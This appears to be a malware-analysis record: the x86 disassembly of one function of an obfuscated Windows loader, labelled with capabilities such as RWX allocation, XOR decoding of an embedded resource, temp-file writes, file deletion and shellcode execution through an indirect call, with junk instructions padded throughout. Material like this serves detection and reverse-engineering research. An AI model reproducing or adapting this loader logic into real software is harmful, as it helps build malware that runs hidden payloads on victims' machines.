Function at 0x4010b0
Capabilities:
Allocate or change rwx memory
Check for time delay via gettickcount
Delete file
Encode data using xor
Execute shellcode via indirect call
Extract resource via kernel32 functions
Get common file path
Write file on windows

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0xd40
push ebx
push ebp
push esi
push edi
fnop
cmc
cmp eax, 0xe3819aab
push ebx
jle 0x4010cf
not bl
not bl
pop ebx
shl ebx, 0xc0
cmc
push eax
je 0x4010dd
jg 0x4010dd
rol ax, 0xc0
pop eax
push edx
jbe 0x4010e7
jnp 0x4010e7
jge 0x4010e7
and dh, dh
pop edx
push ebx
push ebx
rol si, 0x80
pop ebx
pop ebx
rol al, 0x60
or bh, bh
and ecx, 0xffffffff
nop
or ch, ch
ja 0x401102
cmp esp, ebp
push ecx
push eax
xor eax, 0
pop eax
pop ecx
push ecx
test bp, bp
pop ecx
mov dword [esp + 0x24], 0
mov edi, dword [sym.imp.KERNEL32.dll_FindResourceW]
push 0xe
push 1
push 0
call edi
push eax
push 0
call dword [sym.imp.KERNEL32.dll_LoadResource]
push 0x204
mov esi, eax
lea eax, [esp + 0x8f8]
push 0
push eax
mov dword [esp + 0x8fc], 0x20
call fcn.004062e0
add esp, 0xc
neg dh
neg dh
nop
stc
jno 0x401161
test edi, 0x1218aa51
cmp ebx, eax
push edi
add esp, 4
mov ebx, dword [sym.imp.KERNEL32.dll_GetTickCount]
call ebx
push ebp
jb 0x401178
sub ecx, 0
pop ebp
push ebp
or ax, 0
pop ebp
lea esi, [esi]
nop
clc
push 0x104
lea ecx, [esp + 0x8f4]
push 0
push ecx
call fcn.004062e0
add esp, 0xc
neg ah
neg ah
jp 0x4011a3
or ax, ax
nop
stc
xor ch, al
xor ch, al
cmp cl, al
rol bh, 8
jle 0x4011b7
jo 0x4011b7
sub eax, 0
push ebx
js 0x4011c0
sub edi, 0
pop ebx
nop
mov ebp, dword [sym.imp.KERNEL32.dll_GetTempPathW]
lea edx, [esp + 0x8f0]
push edx
push 0x104
call ebp
ja 0x4011e1
push ecx
push ecx
push ecx
inc ebx
dec ebx
pop ecx
pop ecx
pop ecx
and eax, 0xffffffff
push 0x4e
add esp, 4
push 0x104
lea eax, [esp + 0x8f4]
push esi
push eax
call fcn.004030b9
add esp, 0xc
push esi
call dword [sym.imp.KERNEL32.dll_LockResource]
sar edi, 0xe0
jae 0x401215
push edx
push edi
jno 0x401213
test ah, ah
pop edi
pop edx
push ebx
jbe 0x40121b
shl ebp, 0xa0
pop ebx
movzx ecx, word [eax + 4]
dec ecx
lea edx, [ecx*8]
sub edx, ecx
mov ecx, dword [eax + edx*2 + 0xe]
lea eax, [eax + edx*2]
mov dword [esp + 0x2c], ecx
push ebp
push ecx
add esp, 4
pop ebp
rol bh, 0x20
ror esi, 0x60
lea ebx, [ebx]
test ax, 0x7272
cld
cmc
movzx edx, word [eax + 0x12]
push 3
push edx
push 0
call edi
mov esi, eax
call ebx
stc
xchg edx, eax
xchg edx, eax
cmp bx, 0xffc9
jno 0x401268
jp 0x401268
rol ebp, 0xa0
push ebp
inc ebp
pop ebp
nop
push 0x104
lea eax, [esp + 0x8f4]
push 0
push eax
call fcn.004062e0
add esp, 0xc
jns 0x401288
and di, di
push ebx
and eax, 0xffffffff
pop ebx
jns 0x401297
push edx
sub bx, 0
pop edx
std
cld
jae 0x4012a1
jnp 0x4012a1
push edi
mov edi, edi
pop edi
jo 0x4012a6
or bx, bx
ror bh, 0x90
dec edx
inc edx
lea ecx, [esp + 0x8f0]
push ecx
push 0x104
call ebp
push ebp
mov ebx, ebx
pop ebp
push ecx
push ecx
and ebp, 0xffffffff
pop ecx
pop ecx
test sp, sp
rol esp, 0x20
push 0x104
lea edx, [esp + 0x8f4]
push esi
push edx
call fcn.004030b9
add esp, 0xc
mov dword [esp + 0x20], 0x3e8
push esi
push 0
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov edi, eax
call ebx
cld
cmp eax, 0x993e270b
nop
jbe 0x401305
sub bh, 0
or esi, 0
lea esi, [esi]
push 0x104
lea eax, [esp + 0x8f4]
push 0
push eax
call fcn.004062e0
add esp, 0xc
push edx
je 0x40132c
jo 0x40132c
shl esi, 0xa0
pop edx
test ax, ax
sar edx, 0x40
shr ebp, 0x40
xchg ecx, ecx
cld
xor di, 0
jne 0x401345
jbe 0x401345
cmp bx, 0xff84
jnp 0x40134c
jae 0x40134c
push ebp
dec ebp
pop ebp
lea ecx, [esp + 0x8f0]
push ecx
push 0x104
call ebp
test di, di
clc
push edx
test dx, dx
pop edx
jo 0x401369
rol bl, 0x28
dec edi
inc edi
push ebx
test bh, bh
pop ebx
push 0x104
lea edx, [esp + 0x8f4]
push esi
push edx
call fcn.004030b9
add esp, 0xc
push edi
call dword [sym.imp.KERNEL32.dll_LockResource]
sub dword [esp + 0x20], 1
jne 0x4012ec
push edi
call dword [sym.imp.KERNEL32.dll_LockResource]
mov ebp, eax
jns 0x4013a6
push eax
or ecx, ecx
pop eax
jg 0x4013af
push ecx
mov ecx, 0x2940e67a
pop ecx
push ecx
push 0x43
pop ecx
pop ecx
mov eax, dword [esp + 0x2c]
lea esi, [eax + ebp - 0x50]
mov ecx, 0x14
lea edi, [esp + 0x850]
rep movsd dword es:[edi], dword [esi]
jnp 0x4013d4
push ebx
add edi, 0
pop ebx
push ecx
or di, di
pop ecx
dec esi
inc esi
and cx, cx
mov ebx, dword [esp + 0x864]
push 4
push 0x1000
push ebx
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov ecx, dword [esp + 0x2c]
sub ebp, ebx
push ebx
lea edx, [ecx + ebp - 0x50]
mov esi, eax
push edx
push esi
mov dword [esp + 0x34], esi
call fcn.00406900
add esp, 0xc
push eax
sal ecx, 0x60
pop eax
jle 0x40141f
push eax
push eax
mov ax, 0x4408
pop eax
pop eax
neg dl
neg dl
nop
mov edi, dword [esp + 0x24]
cmp edi, 9
je 0x40143a
push 0x4000
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_VirtualFree]
push edi
push ebp
push 0xffffffffffffffac
add esp, 4
pop ebp
pop edi
push edx
push ecx
rol di, 0xd0
pop ecx
pop edx
lea edi, [edi]
nop
inc edi
cmp edi, 0xa
mov dword [esp + 0x24], edi
jl 0x401118
push 0x204
lea eax, [esp + 0x38]
push 0
mov edi, 0x20
push eax
mov dword [esp + 0x3c], edi
call fcn.004062e0
add esp, 0xc
xor ebx, 0
test dl, 0xf9
push ebx
push eax
push ecx
rol bx, 0x10
pop ecx
pop eax
pop ebx
stc
push 0x204
lea ecx, [esp + 0x650]
push 0
push ecx
mov dword [esp + 0x654], edi
call fcn.004062e0
add esp, 0xc
push edi
pop edi
test edx, 0x48407e36
push edi
ror ah, 0xc8
pop edi
mov edi, edi
jae 0x4014be
xchg ebp, ebp
clc
push 0x204
lea edx, [esp + 0x448]
push 0
push edx
mov dword [esp + 0x44c], edi
call fcn.004062e0
add esp, 0xc
push ebx
push edi
xor ebp, ebx
xor ebp, ebx
pop edi
pop ebx
cmp eax, 0xda9db04f
add edx, 0
cld
mov ebp, dword [sym.imp.KERNEL32.dll_GetTempPathW]
lea eax, [esp + 0x648]
push eax
push 0x104
call ebp
push edi
sub ax, 0
pop edi
jb 0x401513
and eax, 0xffffffff
or edx, edx
xor al, dl
xor al, dl
cld
lea ecx, [esp + 0x440]
push ecx
lea edx, [esp + 0x64c]
push edx
call fcn.00401ef0
add esp, 8
test ax, 0xa6ed
jno 0x40153e
and esp, 0xffffffff
jnp 0x401545
cmp eax, 0xa3e2b5ac
cld
mov eax, dword [0x40fb18]
mov ecx, dword [0x40fb1c]
push 0x200
lea edx, [esp + 0x244]
push 0
push edx
mov dword [esp + 0x244], eax
mov dword [esp + 0x248], ecx
call fcn.004062e0
add esp, 0xc
clc
push esi
push edx
or eax, 0
pop edx
pop esi
jb 0x401588
and esi, 0xffffffff
push ecx
pop ecx
lea eax, [esp + 0x30]
push eax
push 0x104
call ebp
push edi
js 0x40159d
jp 0x40159d
test ah, ah
pop edi
jl 0x4015a7
jg 0x4015a7
and eax, 0xffffffff
cld
clc
stc
push 0x104
lea ecx, [esp + 0x23c]
push ecx
lea edx, [esp + 0x38]
push edx
call fcn.004030b9
add esp, 0xc
cld
cmp bp, 0xfff5
jb 0x4015d2
jno 0x4015d2
sub eax, 0
fnop
sar edi, 0xa0
cld
push 0x104
lea eax, [esp + 0x23c]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call sub.PSAPI.DLL_GetModuleFileNameExW
lea ecx, [esp + 0x30]
push ecx
push 0x104
call ebp
push eax
mov ax, 0x4cb4
pop eax
cmp edx, ebp
sub ebp, 0
jp 0x401612
shl edi, 0xc0
stc
push 0x104
lea edx, [esp + 0x23c]
push edx
lea eax, [esp + 0x38]
push eax
call fcn.004030b9
add esp, 0xc
push edx
and eax, 0xffffffff
pop edx
push ebx
test ax, 0x5ffc
pop ebx
cld
or si, si
sub edi, 0
lea ecx, [esp + 0x440]
push ecx
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
cld
jns 0x401654
lea edx, [edx]
rol di, 0xe0
clc
stc
je 0x401661
push edx
rol edx, 0x20
pop edx
stc
stc
push 0
push 0x80
push 2
push 0
push 3
push 0xc0000000
lea edx, [esp + 0x458]
push edx
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov edi, eax
mov dword [esp + 0x20], edi
jb 0x401691
je 0x401691
jae 0x401691
and dh, dh
clc
jb 0x40169a
sub ecx, 0
test esi, esi
clc
push 0x40fb20
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexW]
test eax, eax
jne 0x4016ce
and esp, 0xffffffff
push eax
push ebp
push edx
xor bp, 0
pop edx
pop ebp
pop eax
rol dh, 0x18
stc
pop edi
pop esi
pop ebp
pop ebx
mov esp, ebp
pop ebp
ret 0x10
cmp edi, 0xffffffff
je 0x401ee2
xor edi, edi
mov dword [esp + 0x18], edi
dec edi
inc edi
push esi
jge 0x4016e8
push ecx
and di, 0xffff
pop ecx
pop esi
push ebx
rol dl, 0x60
pop ebx
rol ecx, 0
mov eax, dword [esp + 0x85c]
sub eax, 1
je 0x401ab2
sub eax, 1
je 0x40185c
sub eax, 1
jne 0x401bdd
mov ecx, 0x14
lea esi, [esp + 0x850]
lea edi, [esp + 0x8a0]
rep movsd dword es:[edi], dword [esi]
cmp al, 0xed
jb 0x401731
test eax, 0x4e67202a
push esi
test dx, dx
pop esi
push eax
inc eax
dec eax
pop eax
push esi
push esi
pop esi
pop esi
jo 0x401744
or bx, 0
push ecx
jo 0x40174d
jl 0x40174d
push eax
add esp, 4
pop ecx
push edx
sub esi, 0
pop edx
dec esp
inc esp
xor eax, 0
jle 0x401763
push ebx
cmp eax, 0xac4aa9a7
pop ebx
push edi
jp 0x40176b
jns 0x40176b
or si, si
pop edi
inc eax
dec eax
jge 0x401778
push ecx
push edi
mov di, 0xb368
pop edi
pop ecx
push ecx
push 0x7d
pop ecx
pop ecx
test eax, 0x9b42e65
or eax, 0
cld
and eax, 0xffffffff
push eax
add eax, 0
pop eax
push esi
pop esi
push ebx
inc ebx
pop ebx
cmp ebx, ecx
dec ecx
inc ecx
nop
and edi, 0xffffffff
sub al, 0
or bh, bh
jge 0x4017b0
jle 0x4017b0
jno 0x4017b0
fnop
jae 0x4017b9
jl 0x4017b9
push ebp
sar edx, 0xe0
pop ebp
sub eax, 0
test ax, 0xb51f
jle 0x4017ca
push edi
push eax
add esp, 4
pop edi
push ebx
cmp ax, 3
pop ebx
push edi
push eax
xor eax, 0
pop eax
pop edi
jo 0x4017e3
push ebp
test esi, 0x7a111df5
pop ebp
jo 0x4017ea
ja 0x4017ea
ror eax, 0x20
jno 0x4017f1
push edi
or bp, bp
pop edi
add cl, 0
push edx
jl 0x4017fc
jno 0x4017fc
sub cl, 0
pop edx
sub ebx, 0
push eax
cmp eax, 0x83407c83
pop eax
inc ebx
dec ebx
push 6
add esp, 4
cld
cmp eax, 0xccc85ff4
push ebx
add esp, 4
sub edx, 0
jp 0x401828
je 0x401828
jno 0x401828
push edx
mov edx, edi
pop edx
cmp eax, 0x270ca627
je 0x401837
jle 0x401837
or esi, 0
ja 0x40183f
push edx
and di, 0xffff
pop edx
mov edi, dword [esp + 0x24]
jbe 0x40184d
jge 0x40184d
test ebx, 0x6dd08256
push ebx
pop ebx
stc
ror esi, 0x80
cmc
inc ebp
dec ebp
cmc
jmp 0x401bdd
mov ecx, 0x14
lea esi, [esp + 0x850]
lea edi, [esp + 0x8a0]
rep movsd dword es:[edi], dword [esi]
jp 0x401878
add eax, 0
push edx
push edi
mov di, 0xa2b9
pop edi
pop edx
or ax, ax
rol bh, 0xb0
push esi
jne 0x40188f
push esi
test ax, 0x9b26
pop esi
pop esi
push edx
jp 0x401896
shr eax, 0xe0
pop edx
push esi
push 0xffffffffffffffb0
pop esi
pop esi
add eax, 0
jae 0x4018a9
jbe 0x4018a9
je 0x4018a9
inc ecx
dec ecx
push edi
nop
pop edi
stc
push ebx
ja 0x4018b5
test eax, 0xfc7d98a9
pop ebx
ror ecx, 0xc0
push ebp
inc ebp
pop ebp
jae 0x4018c1
sar ebx, 0x80
or eax, 0
jo 0x4018ce
push ebx
test ax, 0xe2b6
pop ebx
jl 0x4018d8
push edi
xor ecx, 0
pop edi
jge 0x4018e2
jp 0x4018e2
jl 0x4018e2
push edi
dec ebp
inc ebp
pop edi
js 0x4018ea
push ecx
jg 0x4018e9
test ecx, ecx
pop ecx
dec eax
inc eax
push edi
push eax
sar edi, 0xe0
pop eax
pop edi
push ecx
xor si, 0
pop ecx
je 0x401900
jl 0x401900
rol esp, 0x40
push edx
push ecx
and cx, cx
pop ecx
pop edx
jp 0x40190e
push ebx
sub ebp, 0
pop ebx
xor ebx, 0
push ebp
or bx, bx
pop ebp
or ebp, 0
push ebx
jne 0x401926
cmp sp, 0x36
pop ebx
ja 0x401930
push ebx
add eax, 0
pop ebx
cmc
push ecx
push edi
xor bp, 0
pop edi
pop ecx
xor bx, 0
sub al, 0
jge 0x401945
not ah
not ah
jno 0x40194d
cmp esi, 0x458cce2d
sub eax, 0
stc
sub edx, 0
push edx
jno 0x401962
ja 0x401962
test ax, 0x1ca5
pop edx
push edi
jg 0x40196a
push eax
sub al, 0
pop eax
pop edi
jno 0x401975
push eax
push edx
sub si, 0
pop edx
pop eax
sar eax, 0xe0
push ebp
push edi
push ecx
and cx, cx
pop ecx
pop edi
pop ebp
jb 0x401989
add edx, 0
add eax, 0
jge 0x401995
push 0xffffffffffffff80
add esp, 4
push edi
push eax
push ebx
xchg bh, al
xchg bh, al
pop ebx
pop eax
pop edi
jbe 0x4019a6
push 0xffffffffffffffa5
add esp, 4
sub eax, 0
jae 0x4019b2
push ecx
add dh, 0
pop ecx
push ebp
push eax
xor al, 0xb3
xor al, 0xb3
pop eax
pop ebp
push ebx
sub eax, 0
pop ebx
jno 0x4019c8
push ecx
push 0xffffffffffffff84
pop ecx
pop ecx
jbe 0x4019d2
push esi
and ebx, 0xffffffff
pop esi
jb 0x4019d5
stc
push edi
push esi
sub dl, 0
pop esi
pop edi
push esi
jg 0x4019e3
jb 0x4019e3
dec esp
inc esp
pop esi
jl 0x4019eb
jg 0x4019eb
cmp ecx, 0x35
push ecx
push edi
push 0xffffffffffffffd0
pop edi
pop edi
pop ecx
push edx
push ebx
or di, di
pop ebx
pop edx
push eax
jo 0x401a01
test eax, 0x22269afd
pop eax
push ebx
push edi
cmp eax, 0xb2b0ddc3
pop edi
pop ebx
xchg eax, eax
jno 0x401a16
push edi
or eax, 0
pop edi
or esp, esp
or bl, bl
jne 0x401a20
or cx, 0
push edx
js 0x401a26
test dl, 0xf1
pop edx
push ebp
or eax, 0
pop ebp
push ebx
mov ebx, eax
pop ebx
jae 0x401a3c
push eax
jp 0x401a3b
push ecx
add esp, 4
pop eax
push esi
push edx
push esi
cmp esi, 5
pop esi
pop edx
pop esi
push ecx
jb 0x401a4d
jno 0x401a4d
cmp esp, 0x60
pop ecx
jge 0x401a58
push eax
test ecx, 0x926ba5d3
pop eax
jne 0x401a62
jle 0x401a62
push esi
jne 0x401a61
or dh, dh
pop esi
stc
shr esi, 0x80
push eax
add esp, 4
mov esi, esi
jns 0x401a73
cmp eax, 0xe7a7b7e
push esi
pop esi
jg 0x401a7a
or di, di
jg 0x401a84
jo 0x401a84
and esp, 0xffffffff
push esi
jg 0x401a8d
jbe 0x401a8d
test ax, 0x2393
pop esi
rol edx, 0xa0
add esp, 0
mov edi, ebp
jbe 0x401aa2
push esi
and eax, 0xffffffff
pop esi
xchg eax, eax
jge 0x401aad
jne 0x401aad
jl 0x401aad
add al, 0
jmp 0x401bd7
cmc
push edx
jne 0x401ab9
add al, 0
pop edx
cmp dl, dl
xor edx, 0
push edx
jne 0x401aca
push ecx
push 0xffffffffffffffd3
pop ecx
pop ecx
pop edx
cld
and bx, 0xffff
jle 0x401ada
jae 0x401ada
push ebx
test ax, 0x46ee
pop ebx
test al, al
shr esi, 0x40
nop
nop
dec ebp
inc ebp
jne 0x401aed
push eax
js 0x401aec
ror ax, 0xe0
pop eax
push edi
or di, 0
pop edi
clc
push 0x40
push 0x1000
push ebx
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
push ebx
mov ebp, eax
push esi
push ebp
call fcn.00406900
xor ecx, ecx
add esp, 0xc
mov eax, ebx
mov edx, 4
mul edx
seto cl
neg ecx
or ecx, eax
push ecx
call fcn.00403958
add esp, 4
mov edi, eax
jge 0x401b34
test ax, 0x2c38
jg 0x401b3b
push ebp
shl ebp, 0
pop ebp
push edx
jnp 0x401b41
cmp ebp, 0xffffffdb
pop edx
mov esi, ebx
shr esi, 2
test esi, esi
jbe 0x401b6e
mov eax, ebp
mov ecx, edi
sub eax, edi
mov edx, esi
mov ebp, dword [eax + ecx]
mov dword [ecx], ebp
mov ebp, dword [eax + ecx]
xor ebp, 0x98712345
rol ebp, 2
mov dword [ecx], ebp
add ecx, 4
sub edx, 1
jne 0x401b53
xor edx, edx
test esi, esi
jbe 0x401ba9
mov al, byte [esp + 0x86e]
jmp 0x401b80
mov ebp, dword [edi + edx*4]
ror ebp, 2
xor ebp, 0x98712345
mov cl, al
rol ebp, cl
mov cl, byte [esp + 0x86c]
inc edx
xor ebp, dword [esp + 0x868]
ror ebp, cl
mov dword [edi + edx*4 - 4], ebp
cmp edx, esi
jb 0x401b80
push esi
push esi
rol dx, 0
pop esi
pop esi
jns 0x401bbb
jl 0x401bbb
and esi, 0xffffffff
push edi
shl ebp, 0xe0
pop edi
clc
clc
stc
cld
stc
and edi, edi
test edi, 0xba4baef9
push ebp
jl 0x401bd5
jo 0x401bd5
rol al, 0x88
pop ebp
cmc
mov ebp, dword [sym.imp.KERNEL32.dll_GetTempPathW]
js 0x401be4
cmp eax, 0xf6a2bcfe
or cx, 0
jno 0x401bed
or si, si
test cx, cx
nop
mov dword [esp + 0x14], 0
test bl, bl
jns 0x401c02
test eax, 0x1eca7349
or eax, 0
push edi
and dh, dh
pop edi
clc
nop
lea eax, [esp + 0x30]
push eax
push 0x104
call ebp
push edi
push 0x7d
pop edi
pop edi
push esi
push edx
mov dx, 0xf2cf
pop edx
pop esi
xchg edi, edi
push ecx
push edi
pop edi
pop ecx
nop
push 0x104
lea ecx, [esp + 0x23c]
push ecx
lea edx, [esp + 0x38]
push edx
call fcn.004030b9
add esp, 0xc
test al, al
jns 0x401c51
jle 0x401c51
jp 0x401c51
dec ebp
inc ebp
push edi
jb 0x401c5a
push edi
mov di, 0xb363
pop edi
pop edi
jne 0x401c5e
cld
or ebp, 0
push eax
inc eax
pop eax
test al, 0xf7
jg 0x401c6f
and si, si
push edi
xor eax, 0
pop edi
test ah, 0x29
js 0x401c80
push 0xffffffffffffffd5
add esp, 4
inc ebx
dec ebx
nop
cmp dword [esp + 0x858], 1
jne 0x401cde
lea eax, [esp + 0x14]
push eax
push ebx
push edi
call fcn.00401000
add esp, 0xc
sub eax, 0
shr esi, 0x80
jg 0x401ca7
ror edi, 0x40
lea edx, [edx]
stc
push ebx
add esp, 4
stc
stc
mov edx, dword [esp + 0x14]
push 0
lea ecx, [esp + 0x1c]
push ecx
push edx
push eax
mov eax, dword [esp + 0x30]
push eax
call dword [sym.imp.KERNEL32.dll_WriteFile]
lea eax, [eax]
push ecx
jae 0x401cd3
push eax
mov ax, 0x4143
pop eax
pop ecx
push 0x37
add esp, 4
cmc
stc
cld
jmp 0x401cf2
mov edx, dword [esp + 0x20]
push 0
lea ecx, [esp + 0x1c]
push ecx
push ebx
push edi
push edx
call dword [sym.imp.KERNEL32.dll_WriteFile]
jp 0x401cf7
shr esp, 0x20
jae 0x401cfd
jbe 0x401cfd
test ebp, ebp
push ecx
test ax, ax
pop ecx
rol si, 0x20
mov eax, dword [esp + 0x20]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov esi, dword [sym.imp.KERNEL32.dll_GetTickCount]
call esi
jge 0x401d21
push ecx
push esi
mov esi, ecx
pop esi
pop ecx
push edx
push edi
push edx
inc edx
pop edx
pop edi
pop edx
shl edx, 0xe0
cld
clc
lea ecx, [esp + 0x30]
push ecx
push 0x104
call ebp
jo 0x401d42
jp 0x401d42
push ebp
or cx, cx
pop ebp
jl 0x401d4b
jbe 0x401d4b
js 0x401d4b
sal edi, 0xc0
and ebx, ebx
push 0x104
lea edx, [esp + 0x23c]
push edx
lea eax, [esp + 0x38]
push eax
call fcn.004030b9
add esp, 0xc
and eax, 0xffffffff
push edi
push ecx
or eax, 0
pop ecx
pop edi
js 0x401d7b
or cx, 0
stc
push esi
js 0x401d84
cmp eax, 0x7f4824f8
pop esi
push ecx
mov cx, 0xa226
pop ecx
and cl, cl
mov esi, esi
lea ecx, [esp + 0x440]
push 0x40fb5c
push ecx
call fcn.004031c9
add esp, 8
test eax, eax
jne 0x401dac
xor edi, edi
jmp 0x401db3
call fcn.00402c70
mov edi, eax
call esi
push eax
jge 0x401dbb
sub ebp, 0
pop eax
neg dl
neg dl
push eax
add esp, 4
and bh, bh
and cx, cx
push 0x104
lea edx, [esp + 0x444]
push 0
push edx
call fcn.004062e0
add esp, 0xc
xchg bx, ax
xchg bx, ax
push ebp
push ecx
sub si, 0
pop ecx
pop ebp
jne 0x401df1
rol ch, 0x60
cmc
stc
stc
push edx
push ebp
sub al, 0
pop ebp
pop edx
push edx
push esi
and eax, 0xffffffff
pop esi
pop edx
push ebx
test bh, bh
pop ebx
clc
lea eax, [esp + 0x30]
push eax
push 0x104
call ebp
push ebx
push ebp
add eax, 0
pop ebp
pop ebx
push edi
push edi
jle 0x401e24
sal eax, 0x60
pop edi
pop edi
cld
nop
push 0x104
lea ecx, [esp + 0x23c]
push ecx
lea edx, [esp + 0x38]
push edx
call fcn.004030b9
add esp, 0xc
mov ecx, edi
call fcn.00402de0
mov edi, eax
lea eax, [esp + 0x30]
push eax
push 0x104
call ebp
jge 0x401e5e
push 0x6b
add esp, 4
nop
or eax, 0
lea edx, [edx]
cmc
cmc
or dl, dl
clc
push 0x104
lea ecx, [esp + 0x23c]
push ecx
lea edx, [esp + 0x38]
push edx
call fcn.004030b9
add esp, 0xc
clc
push ecx
mov cx, 0x1b57
pop ecx
push esi
push ecx
push edi
push edx
pop edx
pop edi
pop ecx
pop esi
cmc
push eax
mov eax, eax
pop eax
call esi
push ebp
test ax, 0x274a
pop ebp
stc
nop
push esi
push edx
push ecx
push 0x5d
pop ecx
pop ecx
pop edx
pop esi
cld
xchg esi, esi
push esi
push esi
push 0xffffffffffffffa3
pop esi
pop esi
pop esi
push ebp
push ebp
mov bp, 0x2fc
pop ebp
pop ebp
sub eax, 0
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
push str.11111111
push str._______________
lea eax, [esp + 0x240]
push eax
call edi
pop edi
xor eax, eax
pop esi
pop ebp
pop ebx
mov esp, ebp
pop ebp
ret 0x10